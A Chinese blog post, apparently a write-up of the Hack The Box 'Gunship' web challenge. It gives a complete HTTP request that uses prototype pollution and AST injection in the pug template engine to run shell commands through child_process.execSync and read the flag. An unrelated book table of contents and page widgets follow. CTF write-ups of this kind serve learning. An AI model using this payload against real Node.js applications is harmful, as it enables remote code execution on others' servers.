HTB靶场-Web-Gunship

今天玩Hackthebox开始做Web题第一题就被难到了(很容易级别的),上网的WriteUP也乱七八糟的,连NC,写入文件,最后才找到有用的

考点:AST Injection, Prototype Pollution to RCE

先写下最后的利用Exploit

POST /api/submit HTTP/1.1
Host: yourhost
Content-Length: 170
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Content-Type: application/json
Accept: */*
Sec-GPC: 1
Origin: http://159.65.31.1:32309
Referer: http://159.65.31.1:32309/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

{
	"artist.name":"Haigh","__proto__.block": {
	"type": "Text", 
	"line": "process.mainModule.require('child_process').execSync('$(ls | grep flag)')"
	}
}

这里为什么这样写就不详讲了(其实我也不知道__proto__.block是什么,路过的大佬有了解的希望能解答一下,谢谢),自己看链接https://blog.p6.is/AST-Injection/

解题过程:

首先从下载的源代码里看到pug,然后翻WP时看个个都说源代码有注释提到AST Injection(没翻到)。

 

然后,BP抓包改包(稍微改动链接里的Exploit)//$(ls)为什么这样写,我也不清楚,可能是为了让它报错吧。。。

 

最后,$(cat flagF1#5)成功获得flag

WriteUP链接:https://harshitm98.github.io/posts/htb-challenge-gunship/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Contents Foreword xiii Acknowledgments xv H0w t0 R34d Dissecting the Hack: The F0rb1dd3n Network xvii About the Authors xix PART 1 F0RB1DD3N PR010gu3 3 A New Assignment 3 ChAPTeR 0N3 15 Problem Solved 15 Getting Started 21 The Acquisition 22 ChAPTeR TW0 27 Just Another Day 27 The Installation 32 ChAPTeR ThR33 35 In Country ���������������������������������������������������������������������������������������35 ChAPTeR F0uR ������������������������������������������������������������������������������������������������������47 In Real Life ��������������������������������������������������������������������������������������47 ChAPTeR F1v3 ������������������������������������������������������������������������������������������������������57 Status Check ������������������������������������������������������������������������������������57 Log Review ��������������������������������������������������������������������������������������63 ChAPTeR s1x ��������������������������������������������������������������������������������������������������������69 The Meeting ������������������������������������������������������������������������������������69 First Lead �����������������������������������������������������������������������������������������72 The Discovery ���������������������������������������������������������������������������������75 ChAPTeR s3v3N ���������������������������������������������������������������������������������������������������81 Code Review �����������������������������������������������������������������������������������81 ChAPTeR e1ghT ����������������������������������������������������������������������������������������������������91 Battle Plans ��������������������������������������������������������������������������������������91 Data Collection �������������������������������������������������������������������������������96 viii Contents ChAPTeR N1N3 ���������������������������������������������������������������������������������������������������105 Data Analysis ����������������������������������������������������������������������������������105 Shrinking Team ������������������������������������������������������������������������������106 Tenuous Connections �������������������������������������������������������������������107 Loose Ends ������������������������������������������������������������������������������������112 Expendable Assets �������������������������������������������������������������������������115 ChAPTeR T3N ������������������������������������������������������������������������������������������������������119 Choosing Sides ������������������������������������������������������������������������������119 3P1l0gu3 �������������������������������������������������������������������������������������������������������������127 End Process �����������������������������������������������������������������������������������127 PART 2 seCuRITY ThReATs ARe ReAl (sTAR) 2.0 ChAPTeR 1 Recon ����������������������������������������������������������������������������������������������131 Social Networking �������������������������������������������������������������������������132 Exploit Techniques �������������������������������������������������������������������133 Best Practices ���������������������������������������������������������������������������137 Summary of Social Networking �����������������������������������������������������138 For More Information ��������������������������������������������������������������������138 Google Hacking �����������������������������������������������������������������������������138 Exploit Techniques �������������������������������������������������������������������139 Best Practices ���������������������������������������������������������������������������145 Summary of Google Hacking ��������������������������������������������������������146 For More Information ��������������������������������������������������������������������146 Deep Web Searching ���������������������������������������������������������������������146 Exploit Techniques �������������������������������������������������������������������147 Best Practices ���������������������������������������������������������������������������151 Summary of Deep Web Searching �������������������������������������������������152 For More Information ��������������������������������������������������������������������152 Physical Surveillance ���������������������������������������������������������������������152 Exploit Techniques �������������������������������������������������������������������153 Best Practices ���������������������������������������������������������������������������155 Summary of Physical Surveillance �������������������������������������������������156 For More Information ��������������������������������������������������������������������157 Log Analysis �����������������������������������������������������������������������������������157 Exploit Techniques �������������������������������������������������������������������158 Best Practices ���������������������������������������������������������������������������158 Summary of Log Analysis ���������������������������������������������������������������160 For More Information ��������������������������������������������������������������������162 ix Contents Do It Yourself: Hacking 3DNF �������������������������������������������������������162 Targeting Human Resources ����������������������������������������������������163 Google Apps �����������������������������������������������������������������������������167 Blog Recon �������������������������������������������������������������������������������168 Domain Information �����������������������������������������������������������������169 Twitter Recon ��������������������������������������������������������������������������170 Endnotes ���������������������������������������������������������������������������������������172 ChAPTeR 2 scan �����������������������������������������������������������������������������������������������175 Wardriving �������������������������������������������������������������������������������������175 Exploit Techniques �������������������������������������������������������������������176 Best Practices ���������������������������������������������������������������������������181 Summary of Wardriving �����������������������������������������������������������������182 For More Information ��������������������������������������������������������������������182 Long-Range Wireless Scanning ������������������������������������������������������183 Exploit Techniques �������������������������������������������������������������������183 Best Practices ���������������������������������������������������������������������������185 Summary of Long-Range Wireless Scanning ����������������������������������185 For More Information ��������������������������������������������������������������������185 Scanning Tools �������������������������������������������������������������������������������185 Exploit Techniques �������������������������������������������������������������������186 Best Practices ���������������������������������������������������������������������������188 Summary of Scanning Tools ����������������������������������������������������������189 For More Information ��������������������������������������������������������������������190 Bluetooth Security �������������������������������������������������������������������������190 Exploit Techniques �������������������������������������������������������������������190 Best Practices ���������������������������������������������������������������������������192 Summary of Bluetooth Security ����������������������������������������������������192 For More Information ��������������������������������������������������������������������193 Endnotes ���������������������������������������������������������������������������������������193 ChAPTeR 3 explore ��������������������������������������������������������������������������������������������195 Authentication Security �����������������������������������������������������������������195 Exploit Techniques �������������������������������������������������������������������195 Best Practices ���������������������������������������������������������������������������197 Summary of Authentication Security ���������������������������������������������199 For More Information ��������������������������������������������������������������������199 Physical Security ���������������������������������������������������������������������������200 Exploit Techniques �������������������������������������������������������������������200 Best Practices ���������������������������������������������������������������������������203 Summary of Physical Security �������������������������������������������������������206 x Contents For More Information ��������������������������������������������������������������������206 Network Traffic Sniffing ����������������������������������������������������������������207 Exploit Techniques �������������������������������������������������������������������207 Best Practices ���������������������������������������������������������������������������209 Summary of Network Traffic Sniffing ��������������������������������������������211 For More Information ��������������������������������������������������������������������211 Dormant Malware �������������������������������������������������������������������������212 Exploit Techniques �������������������������������������������������������������������212 Best Practices ���������������������������������������������������������������������������213 Summary of Dormant Malware �����������������������������������������������������215 For More Information ��������������������������������������������������������������������216 Web Browser Security �������������������������������������������������������������������216 Exploit Techniques �������������������������������������������������������������������217 Best Practices ���������������������������������������������������������������������������218 Summary of Web Browser Security �����������������������������������������������223 For More Information ��������������������������������������������������������������������224 Out-of-Band Communications �������������������������������������������������������224 Exploit Techniques �������������������������������������������������������������������225 Best Practices ���������������������������������������������������������������������������225 Summary of Out-of-Band Communications �����������������������������������226 For More Information ��������������������������������������������������������������������226 Endnotes ���������������������������������������������������������������������������������������226 ChAPTeR 4 exploit ���������������������������������������������������������������������������������������������229 Encrypted Storage �������������������������������������������������������������������������229 Exploit Techniques �������������������������������������������������������������������230 Best Practices ���������������������������������������������������������������������������232 Summary of Encrypted Storage �����������������������������������������������������234 For More Information ��������������������������������������������������������������������235 Attack Research �����������������������������������������������������������������������������235 Exploit Techniques �������������������������������������������������������������������235 Best Practices ���������������������������������������������������������������������������237 Summary of Attack Research ���������������������������������������������������������238 For More Information ��������������������������������������������������������������������238 Password Security �������������������������������������������������������������������������239 Exploit Techniques �������������������������������������������������������������������239 Best Practices ���������������������������������������������������������������������������242 Summary of Password Security �����������������������������������������������������245 For More Information ��������������������������������������������������������������������245 E-Mail Security �������������������������������������������������������������������������������245 Exploit Techniques �������������������������������������������������������������������246 Best Practices ���������������������������������������������������������������������������247 xi Contents Summary of E-Mail Security ����������������������������������������������������������248 For More Information ��������������������������������������������������������������������248 Windows Null Share Exploit ���������������������������������������������������������249 Exploit Techniques �������������������������������������������������������������������249 Best Practices ���������������������������������������������������������������������������250 Summary of Windows Null Share Exploit �������������������������������������250 For More Information ��������������������������������������������������������������������251 Credit Card Fraud ��������������������������������������������������������������������������251 Exploit Techniques �������������������������������������������������������������������251 Best Practices ���������������������������������������������������������������������������253 Summary of Credit Card Fraud ������������������������������������������������������254 For More Information ��������������������������������������������������������������������254 Traffic Obfuscation ������������������������������������������������������������������������255 Exploit Techniques �������������������������������������������������������������������255 Best Practices ���������������������������������������������������������������������������259 Summary of Traffic Obfuscation ����������������������������������������������������259 For More Information ��������������������������������������������������������������������259 Metasploit ��������������������������������������������������������������������������������������260 Exploit Techniques �������������������������������������������������������������������261 Best Practices ���������������������������������������������������������������������������262 Summary of Metasploit �����������������������������������������������������������������263 For More Information ��������������������������������������������������������������������264 Endnotes ���������������������������������������������������������������������������������������264 ChAPTeR 5 expunge ������������������������������������������������������������������������������������������269 Removing Windows Login Traces ��������������������������������������������������269 Exploit Techniques �������������������������������������������������������������������269 Best Practices ���������������������������������������������������������������������������271 Summary of Removing Windows Login Traces �����������������������������276 For More Information ��������������������������������������������������������������������276 Browser Cleanup ���������������������������������������������������������������������������277 Exploit Techniques �������������������������������������������������������������������277 Best Practices ���������������������������������������������������������������������������279 Summary of Browser Cleanup ������������������������������������������������������279 For More Information ��������������������������������������������������������������������280 Endnotes ���������������������������������������������������������������������������������������280 ChAPTeR 6 hacker Culture ��������������������������������������������������������������������������������281 Hacking Celebrities �����������������������������������������������������������������������281 Dan Kaminsky ��������������������������������������������������������������������������282 Tony Watson �����������������������������������������������������������������������������282 GOBBLES Security ��������������������������������������������������������������������282 xii Contents n3td3v ��������������������������������������������������������������������������������������283 Stephen Colbert �����������������������������������������������������������������������283 Conferences ����������������������������������������������������������������������������������283 The Four Points of the Hacking Compass (From BruCON to DEFCON and Beijing to Brazil) �������������������286 Security Meetups ����������������������������������������������������������������������288 For More Information ��������������������������������������������������������������������289 Podcasts �����������������������������������������������������������������������������������������290 Blogs ����������������������������������������������������������������������������������������������290 Hacker Interviews �������������������������������������������������������������������������292 Jeff Moss (Dark Tangent) ����������������������������������������������������������292 Dan Kaminsky ��������������������������������������������������������������������������299 Johnny Long �����������������������������������������������������������������������������302 Marcus Ranum ��������������������������������������������������������������������������307 Summary ���������������������������������������������������������������������������������������310 Endnotes ���������������������������������������������������������������������������������������310 ChAPTeR 7 Bit Bucket ���������������������������������������������������������������������������������������313 Covert Physical Devices ����������������������������������������������������������������313 Oydsseus ���������������������������������������������������������������������������������������315 Volksbank ��������������������������������������������������������������������������������������315 Tiger Team �������������������������������������������������������������������������������������316 Online Vigilantism �������������������������������������������������������������������������316 Spot the Fed ����������������������������������������������������������������������������������317 Bob Falken ������������������������������������������������������������������������������������318 Honey Pots ������������������������������������������������������������������������������������318 2600 ����������������������������������������������������������������������������������������������319 Capture the Flag ����������������������������������������������������������������������������319 MD5 Hash ��������������������������������������������������������������������������������������320 Sydney Bristow �����������������������������������������������������������������������������320 CyberBob ��������������������������������������������������������������������������������������321 Linksys �������������������������������������������������������������������������������������������323 InfraGard ���������������������������������������������������������������������������������������323 Echelon �����������������������������������������������������������������������������������������324 Perl Scripts ������������������������������������������������������������������������������������324 Gh0stRAT ��������������������������������������������������������������������������������������325 Lock Picking ����������������������������������������������������������������������������������325 Endnotes ���������������������������������������������������������������������������������������326 Index ...................................................................................................................329
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值